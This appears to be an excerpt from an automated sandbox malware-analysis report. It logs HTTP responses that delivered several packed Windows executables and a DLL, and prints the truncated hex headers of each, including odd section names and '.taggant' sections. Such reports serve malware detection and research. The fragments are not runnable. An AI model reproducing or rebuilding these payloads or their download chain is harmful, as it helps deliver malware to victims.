00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:27:44 GMTContent-Type: application/octet-streamContent-Length: 3230720Last-Modified: Mon, 09 Dec 2024 19:02:34 GMTConnection: keep-aliveETag: "67573eca-314c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 31 00 00 04 00 00 6f 13 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 3d 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 3d 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 7a 68 6e 6e 76 6e 61 00 90 2a 00 00 b0 06 00 00 8e 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6c 71 62 72 74 6c 65 00 10 00 00 00 40 31 00 00 06 00 00 00 24 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 31 00 00 22 00 00 00 2a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:28:10 GMTContent-Type: application/octet-streamContent-Length: 1966080Last-Modified: Mon, 09 Dec 2024 17:50:43 GMTConnection: keep-aliveETag: "67572df3-1e0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 50 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 86 00 00 04 00 00 68 c0 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 8e 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6c 72 66 6e 68 6a 75 00 e0 1a 00 00 60 6b 00 00 de 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 75 75 73 79 79 63 7a 00 10 00 00 00 40 86 00 00 04 00 00 00 da 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 86 00 00 22 00 00 00 de 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:28:18 GMTContent-Type: application/octet-streamContent-Length: 1838080Last-Modified: Mon, 09 Dec 2024 19:02:19 GMTConnection: keep-aliveETag: "67573ebb-1c0c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 a8 43 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6d 79 6e 67 69 62 71 00 90 19 00 00 20 2f 00 00 8c 19 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 79 74 71 71 63 67 61 00 10 00 00 00 b0 48 00 00 04 00 00 00 e6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 48 00 00 22 00 00 00 ea 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:28:27 GMTContent-Type: application/octet-streamContent-Length: 1816064Last-Modified: Mon, 09 Dec 2024 19:02:26 GMTConnection: keep-aliveETag: "67573ec2-1bb600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 16 29 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6f 6b 63 62 76 66 64 00 20 1a 00 00 80 4f 00 00 12 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6e 67 73 62 72 61 73 00 10 00 00 00 a0 69 00 00 04 00 00 00 90 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 69 00 00 22 00 00 00 94 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:28:36 GMTContent-Type: application/octet-streamContent-Length: 973312Last-Modified: Mon, 09 Dec 2024 19:00:32 GMTConnection: keep-aliveETag: "67573e50-eda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 3e 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 a1 29 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f0 6f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 6f 01 00 00 40 0d 00 00 70 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 64 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 19:28:43 GMTContent-Type: application/octet-streamContent-Length: 2771456Last-Modified: Mon, 09 Dec 2024 19:00:58 GMTConnection: keep-aliveETag: "67573e6a-2a4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 13 29 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 6c 72 6f 69 71 77 71 00 00 2a 00 00 a0 00 00 00 ea 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 77 65 6c 78 66 72 6b 00 20 00 00 00 a0 2a 00 00 04 00 00 00 24 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:29:15 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
